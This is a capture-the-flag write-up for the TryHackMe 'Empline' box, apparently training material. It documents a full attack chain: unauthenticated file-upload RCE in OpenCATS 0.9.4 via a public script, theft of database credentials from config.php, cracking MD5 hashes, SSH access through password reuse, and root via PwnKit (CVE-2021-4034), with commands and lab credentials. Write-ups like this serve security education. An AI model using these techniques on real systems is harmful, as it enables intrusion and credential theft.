CTF Writeup: Empline (TryHackMe)

Summary

Empline is a Linux box hosting a recruiting/job-board front end ("Empline") which hides a vulnerable installation of **OpenCATS 0.9.4** behind a virtual host. Exploiting a public RCE in OpenCATS gives a web-shell as `www-data`, database credentials harvested from the application config lead to cracked user-account hashes, and those credentials give SSH access as a low-priv user. The box is rooted via the well-known **PwnKit** local privilege escalation (CVE-2021-4034).

Stage	Technique
Recon	nmap, gobuster
Foothold	OpenCATS 0.9.4 unauthenticated file-upload RCE
Lateral move	DB creds in `config.php` → cracked password hash → SSH
Privesc	CVE-2021-4034 (PwnKit)

---

1. Reconnaissance

1.1 Port scan

```
nmap -sV -sC -O <target>
```

Findings: - **22/tcp** – OpenSSH 7.6p1 (Ubuntu) - **80/tcp** – Apache 2.4.29, page title "Empline" - **3306/tcp** – MariaDB 10.1.48, exposed to the network

The nmap NSE `http-sql-injection` script flagged the Apache directory-listing query parameters (`?C=S;O=A`) as possible SQLi — this is a well-known false positive against any Apache "Index of /" listing and wasn't pursued further.

1.2 Web enumeration

The site root (`/`) was a static HTML template with no dynamic functionality. Directory brute-forcing (`gobuster dir`) revealed only `assets/` (template CSS/JS/fonts/images) and a forbidden `javascript/` folder — both dead ends.

The key pivot was recognizing "Empline" / the general layout as a known vulnerable training box and confirming, via a quick search, that it ships an **OpenCATS** applicant-tracking system on a virtual host: `job.empline.thm`. That host wasn't discoverable via the IP/path alone — it required adding the hostname to `/etc/hosts`:

```
echo "<target_ip> empline.thm job.empline.thm" | sudo tee -a /etc/hosts
```

Visiting `http://job.empline.thm/` exposed an OpenCATS login page reporting **version 0.9.4 "Countach"**, a version with multiple public CVEs.

---

2. Foothold — OpenCATS Unauthenticated RCE

OpenCATS 0.9.4 has at least two relevant public vulnerabilities, both reachable **pre-authentication** through the public-facing "careers" job application portal (`careers/index.php?m=careers&p=onApplyToJobOrder`), which accepts a candidate "resume" upload with insufficient file-type validation:

- **CVE-2019-13358** — XXE via a crafted `.docx` resume upload. Lets an attacker read arbitrary local files on the server (e.g. source code, config files) by abusing DOCX's XML structure and a `php://filter` wrapper external entity.
- **Unrestricted file upload → RCE** — a second flaw in the same upload path lets a `.php` payload be uploaded disguised as a `.gif` (`GIF87a` magic bytes followed by inline PHP). Since the upload directory executes PHP, visiting the uploaded file directly runs attacker-controlled code.

A public Exploit-DB script (`50585.sh`) automates the RCE path end-to-end:

1. Detects the OpenCATS version from the page.
2. Finds an active job-order ID from the public careers listing.
3. Uploads a PHP/GIF polyglot as a "resume" for that job.
4. Calls the uploaded file directly, confirming code execution, and drops into a simple interactive command loop (POST `0=<command>` to the uploaded file, response is echoed back).

```
./50585.sh http://job.empline.thm
```

This produced a working **command-execution primitive as `www-data`.**

> **Note on the shell:** the resulting "shell" is not a real TTY — it's a script that POSTs one command per HTTP request and prints the result. It cannot interpret shell control structures like newlines, `&&` chains, or complex quoting reliably. Every command had to be sent as a single, self-contained line. This

> caused a lot of friction during the credential-harvesting stage (see below) and is a good practical lesson in how limited a raw web-shell really is compared to a proper reverse shell or PTY.

---

3. Credential Harvesting

With code execution as `www-data`, the next goal was to find a path to a real system account. OpenCATS, like most PHP apps, stores its database credentials in a config file:

```
cat /var/www/opencats/config.php
```

```
define('DATABASE_USER', 'james');
define('DATABASE_PASS', 'ng6pUFvsGNtw');
define('DATABASE_HOST', 'localhost');
define('DATABASE_NAME', 'opencats');
```

Lesson: application config files are one of the highest-value targets after gaining any code execution — they routinely leak DB credentials, which can be reused directly (password reuse) or used to pull more secrets out of the application's own database.

3.1 Querying the database

Using the harvested DB credentials, the OpenCATS `user` table was dumped:

```
mysql -h localhost -u james -png6pUFvsGNtw -D opencats \
  -e "SELECT user_id,user_name,email,password,first_name,last_name FROM user"
```

```
user_id  user_name        password
1        admin            b67b5ecc5d8902ba59c65596e4c053ec
1251     george           86d0dfda99dbebc424eb4407947356ac
1252     james            e53fbdb31890ff3bc129db0e27c473c9
```

The 32-character hex strings are unsalted **MD5** hashes — OpenCATS's default (and weak) password storage scheme.

3.2 Cracking

```
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

George's hash cracked instantly against rockyou.txt:

```
86d0dfda99dbebc424eb4407947356ac → pretonnevippasempre
```

(James's hash did not crack against rockyou — a reminder that not every credential needs to be cracked; one working set is often enough.)

3.3 Password reuse → SSH

The cracked **application** password also worked as george's **system** SSH password — a classic password-reuse chain:

```
ssh george@<target>
# password: pretonnevippasempre
```

This gave an interactive shell and the user flag (`~/user.txt`).

Lesson: always test whether application-layer credentials (DB users, web-app logins) are reused for system accounts. It's an extremely common misconfiguration and one of the most reliable lateral-movement techniques in CTF and real environments alike.

---

4. Privilege Escalation — PwnKit (CVE-2021-4034)

`sudo -l` confirmed george had no sudo rights. Enumerating SUID binaries:

```
find / -perm -4000 2>/dev/null
```

turned up `/usr/bin/pkexec` — the PolicyKit helper binary affected by **CVE-2021-4034 ("PwnKit")**, a memory-corruption flaw in pkexec's argument parsing that lets any local user obtain a root shell. It affected nearly every major Linux distribution shipped before early 2022 and is one of the most reliable, low-complexity local privescs of its era.

4.1 The exploit

The public PoC consists of three pieces, glued together by a Makefile:

- **`evil-so.c`** — a malicious shared library that, when loaded via a crafted `GCONV_PATH`, runs as root and drops privileges checks (`setuid(0)` , `setgid(0)` , `setgroups(...)`) before spawning `/bin/sh` .
- **`exploit.c`** — the trigger: it invokes `pkexec` with a manipulated environment that causes it to load `evil-so.c` as a gconv module with root privileges, due to the underlying argv-handling bug.

- `Makefile` — builds both pieces.

4.2 Build friction (the "shittiest CTF" part)

Several practical obstacles came up that are worth remembering for next time:

1. **The Exploit-DB download was a single `.txt` file containing three source files concatenated together**, separated by human-readable `##### filename #####` banners — not directly compilable. It had to be split into `evil-so.c`, `exploit.c`, and `Makefile` using `awk`, stripping the banner/separator lines.
2. **The target had no compiler at all** (`gcc`, `cc`, `tcc`, `clang` were all absent), so the exploit had to be **compiled on the attacking machine** (Kali) and copied over via `scp`.
3. **Two missing-header compile errors** on Kali (`setgroups` needs `<grp.h>`, `execve` needs `<unistd.h>`) had to be patched into the exploit source — a reminder that public PoCs are often written/tested against a slightly different toolchain version and need small portability fixes.
4. **GLIBC version mismatch**: the binary built natively on Kali was linked against a newer glibc (2.34+) than the Ubuntu 18.04 target shipped (2.27), so it failed to run on the target with a `GLIBC_2.34' not found` error. The fix is to **build inside an environment matching the target's OS/glibc version** — e.g. an `ubuntu:18.04` Docker container — rather than relying on the attacker machine's native toolchain.

4.3 Final steps (to complete)

```
docker run --rm -v $(pwd):/work -w /work ubuntu:18.04 \
  bash -c "apt update && apt install -y gcc make && make"

scp exploit evil.so george@<target>:/tmp/
ssh george@<target>
cd /tmp && chmod +x exploit && ./exploit
# id  → uid=0(root)
cat /root/root.txt
```

---

5. Key Takeaways

1. **Virtual hosts hide real attack surface.** The vulnerable application was completely invisible until a subdomain (`job.empline.thm`) was guessed/discovered and added to `/etc/hosts`. Always consider vhost enumeration when a "default" page looks like a dead end.

2. **Config files are gold.** The first thing to check after any code execution is the application's own configuration — DB creds are frequently reused elsewhere.
3. **Credential reuse is one of the most common privilege-escalation paths** in both CTFs and real networks. Always try cracked/leaked application credentials against SSH and other system services.
4. **A web-shell is not a real shell.** Command loops built on raw HTTP POST requests can't handle multi-line input, complex quoting, or shell control structures — plan commands accordingly (single-line, minimal quoting) or upgrade to a proper reverse shell / PTY as soon as possible.
5. **Build environment matters for binary exploits.** A locally compiled PoC can fail on the target purely due to glibc/toolchain version skew. When the target has no compiler, build inside a container or VM that matches the target's OS release.
6. **Known CVEs with public PoCs (PwnKit, OpenCATS RCE) are common in training boxes** — recognizing software versions and checking Exploit-DB/ searchsploit early saves a lot of time versus brute-forcing unknown vulnerabilities from scratch.